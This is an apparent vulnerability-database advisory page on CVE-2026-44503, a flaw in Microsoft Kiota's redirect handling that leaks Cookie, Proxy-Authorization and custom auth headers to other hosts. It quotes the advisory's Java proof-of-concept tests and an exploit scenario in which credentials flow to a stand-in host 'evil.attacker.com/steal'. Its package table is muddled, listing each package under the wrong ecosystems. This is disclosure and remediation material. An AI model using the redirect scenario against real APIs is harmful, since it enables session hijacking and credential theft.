Skip to main content

Microsoft Kiota EUVDEUVD-2026-30323

| CVE-2026-44503 HIGH
URL Redirection to Untrusted Site (Open Redirect) (CWE-601)
2026-05-07 https://github.com/microsoft/kiota-java GHSA-7j59-v9qr-6fq9
7.0
CVSS 4.0 · Vendor: https://github.com/microsoft/kiota-java
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Victim initiates authenticated API request
  2. Delivery
    Attacker triggers cross-origin 3xx redirect (via open redirect or MITM)
  3. Exploit
    Kiota RedirectHandler strips Authorization only
  4. Execution
    Cookie and Proxy-Authorization forwarded to attacker domain
  5. Persist
    Attacker captures credentials from HTTP logs
  6. Impact
    Session hijacking or credential reuse

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V3 - Web Frontend Security Redirect URL validation
MITRE ATT&CK

1 technique across 1 tactic: Initial Access

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires the victim application to make an authenticated HTTP request through a Kiota-generated client that encounters a cross-origin (different host or scheme) HTTP 3xx redirect response. The redirect can originate from an open redirect vulnerability in a trusted API endpoint, attacker control of DNS resolution (DNS rebinding), or man-in-the-middle position to inject 3xx responses into legitimate traffic. User interaction is required to trigger the initial API request (CVSS UI:P), but once the request is initiated, credential leakage occurs automatically without further user action. The vulnerability affects default Kiota client configurations created via KiotaClientFactory.create() with no special settings required - OkHttp's secure built-in redirect handler is explicitly disabled in favor of Kiota's flawed implementation. Limiting factors: attackers must control or compromise the redirect target domain to receive leaked credentials; credentials are only leaked on cross-host redirects (same-host redirects retain all headers as intended); requires victim application to use vulnerable Kiota library versions (Java <1.9.1, .NET <1.22.0, Python <1.9.9, TypeScript <1.0.0-preview.100). Exploitation is NOT limited by authentication requirements - the vulnerability leaks credentials from unauthenticated HTTP clients (PR:N) if those clients include Cookie or custom auth headers in their requests.

Impact

Real-world exploitation risk is elevated despite the UI:P (user interaction required) constraint in the CVSS vector. The attack succeeds whenever a victim application makes an authenticated API request that encounters a cross-origin redirect - feasible through open redirect vulnerabilities in trusted APIs, DNS rebinding, or man-in-the-middle injection of 3xx responses. The CVSS 7.0 HIGH rating accurately reflects the severe credential disclosure impact (VC:H, SC:H for both vulnerable and subsequent system confidentiality), balanced against the need for an attacker to position a redirect trigger (AT:P - attack complexity present). Publicly available exploit code exists per the detailed PoC in the GitHub advisory, significantly lowering the skill barrier for exploitation. No EPSS or KEV data is available at time of analysis. The vulnerability's scope extends beyond the immediate Kiota library users to all applications built with Microsoft Graph SDK for Java and other Kiota-generated clients, creating a large potential attack surface. The simultaneous leakage of Cookie (session tokens), Proxy-Authorization (corporate network credentials), and custom auth headers (API keys in X-API-Key, X-Auth-Token, etc.) enables credential stuffing, session hijacking, and lateral movement across enterprise boundaries. Patch availability across all five language ecosystems and vendor acknowledgment via GitHub Security Advisory GHSA-7j59-v9qr-6fq9 provide clear remediation paths, making this a high-priority but technically addressable vulnerability. Exploitability assessment: publicly available exploit code exists, but requires social engineering or complementary vulnerabilities (open redirects, MITM position) to weaponize effectively.

Exploit ScenarioDerived

An attacker identifies a web application using Microsoft Graph SDK for Java to fetch user profile data from graph.microsoft.com. The attacker discovers an open redirect vulnerability in a related corporate API (e.g., api.victim.com/oauth/callback?redirect=https://evil.attacker.com). They craft a phishing email with a link to api.victim.com that triggers the open redirect after OAuth flow completion, causing the victim's authenticated session to follow a 302 redirect to the attacker's server. The Kiota RedirectHandler strips the Authorization header but forwards the victim's session Cookie and any X-API-Key headers to evil.attacker.com. The attacker captures these credentials from incoming HTTP request logs and uses them to impersonate the victim in subsequent API calls. Publicly available exploit code (SecurityPoC.java from the GitHub advisory) demonstrates the exact header leakage behavior using MockWebServer, enabling attackers to rapidly validate vulnerable Kiota versions in target environments.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.1% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv2 – May 14, 2026

Cross-host HTTP redirects in Microsoft Kiota HTTP client libraries leak session cookies, proxy credentials, and custom authentication headers to attacker-controlled domains. When Kiota's RedirectHandler middleware follows 3xx redirects to different hosts (e.g., trusted.example.com → evil.attacker.com), it strips the Authorization header but forwards Cookie, Proxy-Authorization, and all custom headers unchanged. Publicly available exploit code exists with a complete proof-of-concept demonstrating cookie exfiltration to malicious redirect targets. This affects all Kiota language implementations (Java, .NET, Python, TypeScript, Go) and downstream consumers including Microsoft Graph SDK for Java. The vulnerability requires user interaction to trigger the initial API request, but once triggered, credential leakage is automatic on cross-origin redirects (CVSS:4.0 AV:N/AC:L/AT:P/PR:N/UI:P). Vendor-released patches are available across all affected package ecosystems.

Earlier versions of this analysis (1)
v1 May 07, 2026 - 02:16

Microsoft Kiota's RedirectHandler middleware leaks sensitive HTTP headers (Cookie, Proxy-Authorization, and custom authentication headers) when following HTTP 3xx redirects to different hosts or schemes across multiple language implementations (Java, .NET, Python, TypeScript, Go). While the Authorization header is correctly stripped during cross-origin redirects, all other authentication credentials remain attached to requests sent to attacker-controlled domains. A working proof-of-concept demonstrates session cookies and proxy credentials being successfully transmitted to a malicious server after redirect. This affects all applications using Kiota client libraries, including Microsoft Graph SDK for Java, with particularly severe impact on enterprise environments using proxy authentication or applications with multiple authentication mechanisms.

RemediationAI

Upgrade to patched versions immediately: for Java Maven projects, update com.microsoft.kiota:microsoft-kiota-abstractions to version 1.9.1 or later; for .NET NuGet projects, update Microsoft.Kiota.Abstractions to 1.22.0 or later; for Python PyPI projects, update microsoft-kiota-http to 1.9.9 or later; for TypeScript npm projects, update @microsoft/kiota-typescript to 1.0.0-preview.100 or later. Consult https://github.com/microsoft/kiota-java/security/advisories/GHSA-7j59-v9qr-6fq9 for language-specific upgrade guidance. If immediate patching is not feasible, implement application-layer redirect validation by subclassing or replacing the RedirectHandler middleware to enforce strict same-origin policy for redirects (reject all cross-host 3xx responses or strip all headers matching Cookie, Proxy-Authorization, and custom auth patterns via regex before following redirects). Note this workaround breaks legitimate cross-domain API flows and may cause functional regressions in multi-domain API architectures. Network-layer mitigations include deploying egress filtering to block outbound requests to untrusted domains from API client hosts, though this does not prevent credential leakage to attacker-controlled subdomains of trusted parent domains. For high-risk environments, disable automatic redirect following entirely by configuring HTTP clients with followRedirects(false) and handle redirects manually with explicit credential stripping logic, trading developer complexity for security guarantees.

Affected VersionsENISA

microsoft-kiota-http < 1.9.9
Microsoft.Kiota.Abstractions < 1.22.0
microsoft-kiota-abstractions < 1.9.1
kiota-java < 1.9.1
github.com/microsoft/kiota-http-go < 1.5.5
kiota-typescript < 1.0.0-preview.100

Affected Packages

go com.microsoft.kiota:microsoft-kiota-abstractions fix: 1.9.1
go github.com/microsoft/kiota-http-go fix: 1.5.5
go kiota-typescript fix: 1.0.0-preview.100
go microsoft-kiota-http fix: 1.9.9
go microsoft.kiota.abstractions fix: 1.22.0
maven com.microsoft.kiota:microsoft-kiota-abstractions fix: 1.9.1
maven github.com/microsoft/kiota-http-go fix: 1.5.5
maven kiota-typescript fix: 1.0.0-preview.100
maven microsoft-kiota-http fix: 1.9.9
maven microsoft.kiota.abstractions fix: 1.22.0
npm com.microsoft.kiota:microsoft-kiota-abstractions fix: 1.9.1
npm github.com/microsoft/kiota-http-go fix: 1.5.5
npm kiota-typescript fix: 1.0.0-preview.100
npm microsoft-kiota-http fix: 1.9.9
npm microsoft.kiota.abstractions fix: 1.22.0
nuget com.microsoft.kiota:microsoft-kiota-abstractions fix: 1.9.1
nuget github.com/microsoft/kiota-http-go fix: 1.5.5
nuget kiota-typescript fix: 1.0.0-preview.100
nuget microsoft-kiota-http fix: 1.9.9
nuget microsoft.kiota.abstractions fix: 1.22.0
pypi com-microsoft-kiota:microsoft-kiota-abstractions fix: 1.9.1
pypi github-com/microsoft/kiota-http-go fix: 1.5.5
pypi kiota-typescript fix: 1.0.0-preview.100
pypi microsoft-kiota-abstractions fix: 1.22.0
pypi microsoft-kiota-http fix: 1.9.9
euvd github_com_microsoft_kiota_http_go fix: 1.5.5
euvd kiota_java fix: 1.9.1
euvd kiota_typescript fix: 1.0.0-preview.100
euvd microsoft_kiota_abstractions fix: 1.9.1, 1.22.0
euvd microsoft_kiota_http fix: 1.9.9

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 13 packages in go, maven, npm and 3 more

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Microsoft Kiota is a code generation framework that produces HTTP client libraries for consuming OpenAPI-defined REST APIs. The vulnerability exists in Kiota's custom RedirectHandler middleware, which is injected by default into HTTP clients via KiotaClientFactory across all language implementations. The RedirectHandler is implemented to override native HTTP library redirect behavior (e.g., OkHttp in Java explicitly disables its compliant redirect handler at KiotaClientFactory.java line 63). When processing HTTP 3xx redirect responses, the middleware compares the original request URL's scheme and host against the Location header's target. If they differ, it removes only the Authorization header per RFC 7231 Section 6.4 guidance, but fails to apply the same sanitization to other credentials-bearing headers. The root cause maps to CWE-601 (URL Redirection to Untrusted Site), though the impact is credential disclosure rather than phishing. CPE data identifies affected packages across Maven (com.microsoft.kiota:microsoft-kiota-abstractions), NuGet (Microsoft.Kiota.Abstractions), PyPI (microsoft-kiota-http), npm (@microsoft/kiota-http), and Go (github.com/microsoft/kiota-http-go). The vulnerable code pattern appears in RedirectHandler.java lines 107-116 (versions ≤1.9.0) and equivalent implementations in kiota-dotnet, kiota-python, kiota-typescript, and kiota-http-go repositories.

Know when Java gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/microsoft/kiota-java) PRIMARY 7.0 HIGH
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N
SUSE HIGH

Primary rating from Vendor (https://github.com/microsoft/kiota-java).

CVSS VectorVendor: https://github.com/microsoft/kiota-java

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
Present
Privileges Required
None
User Interaction
Passive
Vulnerable system: Confidentiality
High
Vulnerable system: Integrity
None
Vulnerable system: Availability
None
Subsequent system: Confidentiality
High
Subsequent system: Integrity
None
Subsequent system: Availability
None

Lifecycle Timeline

3
Analysis Updated
May 14, 2026 - 16:29 vuln.today
v2 - CVSS changed
CVSS changed
May 14, 2026 - 16:22 NVD
7.0 (HIGH)
CVE Published
May 07, 2026 - 01:49 nvd
HIGH

DescriptionCVE.org

Summary

The RedirectHandler middleware in microsoft/kiota-java (com.microsoft.kiota:microsoft-kiota-http-okHttp v1.9.0) and other Kiota libraries fails to strip sensitive HTTP headers when following 3xx redirects to a different host or scheme.

This vulnerability is present in the RedirectHandlers for:

https://github.com/microsoft/kiota-dotnet https://github.com/microsoft/kiota-java https://github.com/microsoft/kiota-python https://github.com/microsoft/kiota-typescript https://github.com/microsoft/kiota-http-go

Details

Only the Authorization header is removed; Cookie, Proxy-Authorization, and all custom headers are forwarded to the redirect target.

This is the default middleware in every kiota-java HTTP client created via KiotaClientFactory.create(). OkHttp's built-in redirect handler (which handles this correctly) is explicitly disabled at line 63 of KiotaClientFactory.java in favor of kiota's broken implementation.

Vulnerable code in RedirectHandler.java lines 107-116 (getRedirect method) in versions 1.90 and earlier:

boolean sameScheme = locationUrl.scheme().equalsIgnoreCase(requestUrl.scheme());
boolean sameHost = locationUrl.host().toString().equalsIgnoreCase(requestUrl.host().toString());
if (!sameScheme || !sameHost) {
requestBuilder.removeHeader("Authorization");
// BUG: Cookie, Proxy-Authorization, and all other headers are NOT removed
}

PoC

  1. Clone the repository:

git clone --depth 1 https://github.com/microsoft/kiota-java.git cd kiota-java

  1. Create the PoC test file at:

components/http/okHttp/src/test/java/com/microsoft/kiota/http/middleware/SecurityPoC.java

With this content:

package com.microsoft.kiota.http.middleware;
import static org.junit.jupiter.api.Assertions.*;
import com.microsoft.kiota.http.KiotaClientFactory;
import okhttp3.*;
import okhttp3.mockwebserver.*;
import org.junit.jupiter.api.Test;

public class SecurityPoC {
@Test
void crossHostRedirectLeaksCookies() throws Exception {
Request original = new Request.Builder()
.url("http://trusted.example.com/api")
.addHeader("Authorization", "Bearer token")
.addHeader("Cookie", "session=SECRET")
.addHeader("Proxy-Authorization", "Basic cHJveHk6cGFzcw==")
.build();
Response redirect = new Response.Builder()
.request(original).protocol(Protocol.HTTP_1_1)
.code(302).message("Found")
.header("Location", "http://evil.attacker.com/steal")
.body(ResponseBody.create("", MediaType.parse("text/plain")))
.build();
Request result = new RedirectHandler().getRedirect(original, redirect);
assertNotNull(result);
assertEquals("evil.attacker.com", result.url().host());
assertNull(result.header("Authorization")); // stripped (good)
assertEquals("session=SECRET", result.header("Cookie")); // LEAKED
assertEquals("Basic cHJveHk6cGFzcw==", result.header("Proxy-Authorization")); // LEAKED
}

@Test
void endToEndProof() throws Exception {
var evil = new MockWebServer();
evil.start();
evil.enqueue(new MockResponse().setResponseCode(200));
var trusted = new MockWebServer();
trusted.start();
trusted.enqueue(new MockResponse().setResponseCode(302)
.setHeader("Location", evil.url("/steal")));
OkHttpClient client = KiotaClientFactory.create(
new Interceptor[]{new RedirectHandler()}).build();
client.newCall(new Request.Builder().url(trusted.url("/api"))
.addHeader("Cookie", "session=SECRET").build()).execute();
trusted.takeRequest();
RecordedRequest captured = evil.takeRequest();
assertEquals("session=SECRET", captured.getHeader("Cookie")); // LEAKED to evil server
evil.shutdown();
trusted.shutdown();
}
}
  1. Run the tests:

./gradlew :components:http:okHttp:test --tests "com.microsoft.kiota.http.middleware.SecurityPoC"

  1. Result: BUILD SUCCESSFUL, 2 tests passed, 0 failures.

Both tests confirm Cookie and Proxy-Authorization headers are sent to the attacker's server on cross-host redirect.

Impact

The kiota-java bug is more severe because it leaks ALL sensitive headers simultaneously (Cookie + Proxy-Authorization + custom auth headers), not just one type.

Attack scenario: An attacker who can trigger a cross-origin redirect from a trusted API (via open redirect, MITM, or DNS rebinding) captures the victim's session cookies, proxy credentials, and API keys from the redirected request.

Impact:

  • Session hijacking via leaked Cookie headers
  • Corporate proxy credential theft via leaked Proxy-Authorization
  • API key theft via leaked custom auth headers (X-API-Key, etc.)

All consumers of kiota-java are affected, including Microsoft Graph SDK for Java.

Blast Radius

ecosystem impact
† from your stack dependencies † transitive graph · vuln.today resolves 4-path depth
  • 9 maven packages depend on com.microsoft.kiota:microsoft-kiota-abstractions (7 direct, 2 indirect)
  • 2 pypi packages depend on microsoft-kiota-http (0 direct, 2 indirect)

Ecosystem-wide dependent count for version 1.9.1 and other introduced versions.

Executive ViewAI

Why It Matters

Microsoft Kiota HTTP client libraries (Java, .NET, Python, TypeScript, Go) and dependent SDKs including Microsoft Graph SDK for Java leak session cookies, proxy credentials, and custom authentication headers when processing cross-host redirects. An attacker can trigger automatic credential exfiltration to malicious domains through a single user interaction, compromising authenticated API sessions across all applications built on these libraries.

Business Impact: High
Compensating Controls

Apply vendor patch. If immediate patching is blocked: disable or restrict HTTP redirects at the HTTP client configuration level for Kiota instances; implement network controls to block unexpected cross-origin redirects; monitor for suspicious redirect patterns in proxy and firewall logs; restrict redirect destinations to a whitelist of trusted domains.

Threat Intelligence Overview

EPSS Score
0.1%
Top 81% exploitable
Threat Intel
2
1 sources
Data Quality
7 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GHSA MAL Vendor GitHub

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.1%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact
High
Technical Impact
Partial

Priority Score

35
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +35
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

More in Java

View all
CVE-2012-4681 CRITICAL POC
9.8 Aug 28

Oracle Java SE 7 Update 6 and earlier contains multiple sandbox bypass vulnerabilities via the ClassFinder and forName m

CVE-2015-7450 CRITICAL POC
9.8 Jan 02

Remote code execution in IBM Sterling B2B Integrator, Sterling Integrator, and Tivoli Common Reporting allows unauthenti

CVE-2013-2465 CRITICAL POC
9.8 Jun 18

Java Runtime Environment sandbox bypass via incorrect image channel verification in 2D component allows remote unauthent

CVE-2011-3544 CRITICAL POC
9.8 Oct 19

Oracle Java SE JDK/JRE 7 and 6 Update 27 and earlier allows remote code execution with complete system compromise throug

CVE-2010-1871 HIGH POC
8.8 Aug 05

JBoss Seam 2 in Red Hat JBoss EAP 4.3.0 fails to sanitize JBoss Expression Language inputs, allowing remote attackers to

CVE-2012-1723 CRITICAL POC
9.8 Jun 16

Unspecified vulnerability in the Java Runtime Environment (JRE) component in Oracle Java SE 7 update 4 and earlier, 6 up

CVE-2013-0422 CRITICAL POC
9.8 Jan 10

Multiple vulnerabilities in Oracle Java 7 before Update 11 allow remote attackers to execute arbitrary code by (1) using

CVE-2012-0507 CRITICAL POC
9.8 Jun 07

Unspecified vulnerability in the Java Runtime Environment (JRE) component in Oracle Java SE 7 Update 2 and earlier, 6 Up

CVE-2015-4852 CRITICAL POC
9.8 Nov 18

The WLS Security component in Oracle WebLogic Server 10.3.6.0, 12.1.2.0, 12.1.3.0, and 12.2.1.0 allows remote attackers

CVE-2012-5076 CRITICAL POC
9.8 Oct 16

Unspecified vulnerability in the Java Runtime Environment (JRE) component in Oracle Java SE 7 Update 7 and earlier allow

CVE-2017-3066 CRITICAL POC
9.8 Apr 27

Remote unauthenticated attackers can execute arbitrary code on Adobe ColdFusion servers through Java deserialization fla

CVE-2012-0391 CRITICAL POC
9.8 Jan 08

The ExceptionDelegator component in Apache Struts before 2.2.3.1 interprets parameter values as OGNL expressions during

Vendor StatusVendor

SUSE

Severity: Important
Product Status
SUSE Linux Enterprise Server 16.1 Affected
SUSE Linux Enterprise Server for SAP applications 16.1 Affected
SUSE Linux Enterprise Module for Package Hub 15 SP5 Affected
SUSE Linux Enterprise Module for Package Hub 15 SP6 Affected
openSUSE Leap 15.5 Affected

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy